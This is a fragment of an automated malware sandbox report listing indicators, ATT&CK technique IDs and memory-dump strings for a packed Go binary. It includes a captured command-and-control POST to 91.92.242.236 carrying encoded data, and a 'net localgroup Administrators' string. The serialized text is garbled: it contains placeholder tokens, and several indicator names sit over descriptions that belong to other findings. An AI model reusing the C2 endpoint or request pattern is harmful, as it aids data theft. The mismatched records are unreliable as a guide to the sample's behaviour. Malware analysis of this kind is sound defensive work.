"00000000-00003824.00000000.171284.25400000.00000040.mdmp") file/memory contains long string with (Indicator: "GetFileAttributes"; Source: "00000000-00005740.00000000.171500.0094C000.00000002.mdmp") file/memory contains long string with (Indicator: "GetCurrentDirectory"; Source: "00000000-00005740.00000000.171500.0094C000.00000002.mdmp")4a:T7ba,file/memory contains long string with (Indicator: "CopySid"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin") file/memory contains long string with (Indicator: "GetLengthSid"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin") file/memory contains long string with (Indicator: "GetTokenInformation"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin") Found reference to API "m=nil base CommonrdtscppopcntCopySidWSARecvWSASendconnectinvaliduintptrfloat32float64forcegcallocmWcpuprofallocmRunknowngctraceIO waitrunningsyscallwaitingforevernetworkUNKNOWNcleanup, goid= mark s=nil" (Indicator: "CopySid"; Source: "00000000-00003824.00000000.171284.0048C000.00000002.mdmp") file/memory contains long string with (Indicator: "GetTokenInformation"; Source: "00000000-00003824.00000000.171284.0048C000.00000002.mdmp") Found reference to API "GetSidIdentifierAuthority" (Indicator: "GetSidIdentifierAuthority"; Source: "00000000-00003824.00000000.171284.25400000.00000040.mdmp") Found reference to API "GetSidSubAuthority" (Indicator: "GetSidSubAuthority"; Source: "00000000-00003824.00000000.171284.25400000.00000040.mdmp") Found reference to API "GetSidSubAuthorityCount" (Indicator: "GetSidSubAuthority"; Source: "00000000-00003824.00000000.171284.25400000.00000040.mdmp") Found reference to API "GetSidSubAuthorityCount" (Indicator: "GetSidSubAuthorityCount"; Source: "00000000-00003824.00000000.171284.25400000.00000040.mdmp") Found reference to API "m=nil base CommonrdtscppopcntCopySidWSARecvWSASendconnectinvaliduintptrfloat32float64forcegcallocmWcpuprofallocmRunknowngctraceIO waitrunningsyscallwaitingforevernetworkUNKNOWNcleanup, goid= mark s=nil" (Indicator: "CopySid"; Source: "00000000-00005740.00000000.171500.0094C000.00000002.mdmp") file/memory contains long string with (Indicator: "GetTokenInformation"; Source: "00000000-00005740.00000000.171500.0094C000.00000002.mdmp")4b:T464,Found reference to API "ExitProcess" (Indicator: "ExitProcess"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin") file/memory contains long string with (Indicator: "ExitProcess"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin") file/memory contains long string with (Indicator: "TerminateProcess"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin") file/memory contains long string with (Indicator: "TerminateProcess"; Source: "00000000-00003824.00000000.171284.0048C000.00000002.mdmp") Found reference to API "CorExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00003824.00000000.171284.25400000.00000040.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00003824.00000000.171284.25400000.00000040.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00003824.00000000.171284.25400000.00000040.mdmp") file/memory contains long string with (Indicator: "TerminateProcess"; Source: "00000000-00005740.00000000.171500.0094C000.00000002.mdmp")4c:T449,"\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00003824.00000000.171284.02DA0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-320","sources":[{"report_type":"sandbox","report_id":"69ee4a574f50546d140f387b"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to perform Base64 encoding/decoding","description":"Found string \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\" (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\"; Source: \"00000000-00003824.00000000.171284.25400000.00000040.mdmp\")\n Found string \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\" (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\"; Source: \"00000000-00003824.00000000.171284.25400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1132","relevance":1,"id":"string-338","sources":[{"report_type":"sandbox","report_id":"69ee4a574f50546d140f387b"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to set file time (API string)","description":"file/memory contains long string with (Indicator: \"SetFileTime\"; File: \"213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-409","sources":[{"report_type":"sandbox","report_id":"69ee4a574f50546d140f387b"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to use Cryptographic classes","description":"Found reference to \"runtime.useAeshash\" (Indicator: \"Aes\"; File: \"213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin\")\n Found reference to \"runtime.useAeshash\" (Indicator: \"Aes\"; Source: \"00000000-00003824.00000000.171284.005BB000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"69ee4a574f50546d140f387b"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found PE header in memory","description":"Found PE header \"MZ\" - Source: \"00000000-00003824.00000000.171284.0048C000.00000002.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00003824.00000000.171284.25400000.00000040.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00005740.00000000.171500.0094C000.00000002.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00005740.00000000.171500.25200000.00000040.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"69ee4a574f50546d140f387b"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Observed a high volume of repeated registry API calls (API Hammering)","description":"$28","origin":"Registry Access","mitre_attack_id":"T1497","relevance":7,"id":"registry-215","sources":[{"report_type":"sandbox","report_id":"69ee4a574f50546d140f387b"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries process information","description":"$29","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"69ee4a574f50546d140f387b"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (API string)","description":"Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"SetUnhandledExceptionFilter\"; File: \"213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-148","sources":[{"report_type":"sandbox","report_id":"69ee4a574f50546d140f387b"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to use Microsoft's Enhanced Cryptographic Provider","description":"$2a","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-602","sources":[{"report_type":"sandbox","report_id":"69ee4a574f50546d140f387b"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains XOR operation loops [Stream disassembly]","description":"Assembly shows XOR instruction xor ecx\n 01h in Stream UID: 977-762-004054D0\n Assembly shows XOR instruction xor eax\n ebp in Stream UID: 977-762-004054D0\n Assembly shows XOR instruction xor edx\n edi in Stream UID: 977-762-004054D0\n Assembly shows XOR instruction xor edx\n 01h in Stream UID: 977-762-004054D0","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1027.005","id":"stream-139","sources":[{"report_type":"sandbox","report_id":"69ee4a574f50546d140f387b"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform AES/RC4 encryption (API string)","description":"file/memory contains long string with (Indicator: \"CertCloseStore\"; File: \"213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin\")\n file/memory contains long string with (Indicator: \"CryptReleaseContext\"; File: \"213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin\")\n file/memory contains long string with (Indicator: \"CertOpenSystemStore\"; File: \"213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin\")\n file/memory contains long string with (Indicator: \"CryptAcquireContext\"; File: \"213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin\")\n file/memory contains long string with (Indicator: \"CertFreeCertificateContext\"; File: \"213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin\")\n file/memory contains long string with (Indicator: \"CertEnumCertificatesInStore\"; File: \"213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-438","sources":[{"report_type":"sandbox","report_id":"69ee4a574f50546d140f387b"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"$2b","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"69ee4a574f50546d140f387b"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Contains ability to perform Base64 encoding/decoding\n Matched sigs: HTTP requests contain Base64 strings\n Matched sigs: Contains XOR operation loops [Stream disassembly]","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"69ee4a574f50546d140f387b"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains CRYPTO related strings\n Matched sigs: Able to use Microsoft's Enhanced Cryptographic Provider\n Matched sigs: Contains ability to perform AES/RC4 encryption (API string)\n Matched sigs: Contains ability to use Cryptographic classes\n Matched sigs: Contains ability to perform Base64 encoding/decoding\n Matched sigs: HTTP requests contain Base64 strings\n Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: YARA signature match - ChaCha20 encryption algorithm","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"69ee4a574f50546d140f387b"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use encryption for command and control traffic","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: Contains XOR operation loops [Stream disassembly]","origin":"Indicator Combinations","mitre_attack_id":"T1573.001","relevance":1,"id":"summary-31","sources":[{"report_type":"sandbox","report_id":"69ee4a574f50546d140f387b"}]},{"level":"informative","category":"Cryptographic Related","name":"XOR operations in executable file detected","description":"$2c","origin":"Binary File","mitre_attack_id":"T1027.005","id":"binary-92","sources":[{"report_type":"sandbox","report_id":"69ee4a574f50546d140f387b"}]},{"level":"informative","category":"Environment Awareness","name":"Able to gather system information (.NET)","description":"$2d","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-937","sources":[{"report_type":"sandbox","report_id":"69ee4a574f50546d140f387b"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using user activity (API string)","description":"file/memory contains long string with (Indicator: \"GetCommandLine\"; File: \"213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin\")\n Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00003824-00000C2C-1676624726\")\n Found string \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00003824-00000C2C-1676624904\")\n file/memory contains long string with (Indicator: \"GetCommandLine\"; Source: \"00000000-00003824.00000000.171284.0048C000.00000002.mdmp\")\n Found string \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00003824.00000000.171284.25400000.00000040.mdmp\")\n Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00003824.00000000.171284.25400000.00000040.mdmp\")\n file/memory contains long string with (Indicator: \"GetCommandLine\"; Source: \"00000000-00005740.00000000.171500.0094C000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-661","sources":[{"report_type":"sandbox","report_id":"69ee4a574f50546d140f387b"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query system locale information (API string)","description":"Found reference to API \"GetLocaleInfoEx\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00003824.00000000.171284.25400000.00000040.mdmp\")\n Found reference to API \"EnumSystemLocalesEx\" (Indicator: \"EnumSystemLocales\"; Source: \"00000000-00003824.00000000.171284.25400000.00000040.mdmp\")\n Found reference to API \"GetUserDefaultLocaleName\" (Indicator: \"GetUserDefaultLocaleName\"; Source: \"00000000-00003824.00000000.171284.25400000.00000040.mdmp\")\n Found reference to API \"GetLocaleInfoW\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00003824.00000000.171284.25400000.00000040.mdmp\")\n Found reference to API \"GetUserDefaultLCID\" (Indicator: \"GetUserDefaultLCID\"; Source: \"00000000-00003824.00000000.171284.25400000.00000040.mdmp\")\n Found reference to API \"EnumSystemLocalesW\" (Indicator: \"EnumSystemLocales\"; Source: \"00000000-00003824.00000000.171284.25400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"69ee4a574f50546d140f387b"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve date formats supported by the local system (API string)","description":"Found reference to API \"GetDateFormatEx\" (Indicator: \"GetDateFormat\"; Source: \"00000000-00003824.00000000.171284.25400000.00000040.mdmp\")\n Found reference to API \"GetTimeFormatEx\" (Indicator: \"GetTimeFormat\"; Source: \"00000000-00003824.00000000.171284.25400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-901","sources":[{"report_type":"sandbox","report_id":"69ee4a574f50546d140f387b"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve geographical location information","description":"file/memory contains long string with (Indicator: \"getaddrinfo\"; File: \"213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin\")\n Found reference to API \"getaddrinfo\" (Indicator: \"getaddrinfo\"; Source: \"00000000-00003824-00000C2C-1677052682\")\n file/memory contains long string with (Indicator: \"getaddrinfo\"; Source: \"00000000-00003824.00000000.171284.0048C000.00000002.mdmp\")\n Found reference to API \"getaddrinfo\" (Indicator: \"getaddrinfo\"; Source: \"00000000-00003824.00000000.171284.25400000.00000040.mdmp\")\n file/memory contains long string with (Indicator: \"getaddrinfo\"; Source: \"00000000-00005740.00000000.171500.0094C000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-739","sources":[{"report_type":"sandbox","report_id":"69ee4a574f50546d140f387b"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve information about the current system (API string)","description":"Found system information discovery API: \"GetEnvironmentStringsW\" in file \"213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin\"\n Found system information discovery API: \"GetSystemInfo\" in file \"213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin\"\n Found system information discovery API: \"GetEnvironmentStrings (in long string)\" in file \"213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin\"\n Found system information discovery API: \"GetSystemInfo\" in \"00000000-00003824.00000000.171284.25400000.00000040.mdmp\"\n Found system information discovery API: \"GetEnvironmentStringsW\" in \"00000000-00003824.00000000.171284.25400000.00000040.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"69ee4a574f50546d140f387b"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve local groups information","description":"Found string \"net localgroup \"Administrators\" \"\" (Indicator: \"net localgroup\"; Source: \"00000000-00003824.00000000.171284.25400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1069.001","relevance":1,"id":"string-526","sources":[{"report_type":"sandbox","report_id":"69ee4a574f50546d140f387b"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"Found reference to API \"\" (Indicator: \"enumchildwindows\"; Source: \"00000000-00003824.00000000.171284.02DA0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"69ee4a574f50546d140f387b"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs to gather system and hardware detail","description":"\" tE!\"\n \"Bwale.exe\" was detected as \"tElock v1.0 (private) -> tE!\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"69ee4a574f50546d140f387b"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\" \"st=s\" HTTP/1.1 200 OK\nServer: nginx/1.24.0 (Ubuntu)\nDate: Sun\n 26 Apr 2026 17:25:42 GMT\nContent-Type: text/html; charset=UTF-8\nTransfer-Encoding: chunked\nConnection: keep-alive with response body ==>203C633E333C643E.......\n \"POST /oPvjr94jfe/index.php HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\nHost: 91.92.242.236\nContent-Length: 176\nCache-Control: no-cache\" with payload::==> \"r=7FF86E7666E1345312F5972F8DDFD87172C1DF3020A77997E140882BC81F2FC6415F735D67873AAD938678F867971CF4B22BE709308AFC24F40CF1C5D2879ED1286CCA031C6CBBD5E9ED381678F36DA266C24F593492BA\" HTTP/1.1 200 OK\nServer: nginx/1.24.0 (Ubuntu)\nDate: Sun\n 26 Apr 2026 17:25:44 GMT\nContent-Type: text/html; charset=UTF-8\nTransfer-Encoding: chunked\nConnection: keep-alive with response body ==>203C633E3C643E.......","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"69ee4a574f50546d140f387b"}]},{"level":"suspicious","category":"General","name":"Reads configuration files (.ini files)","description":"\"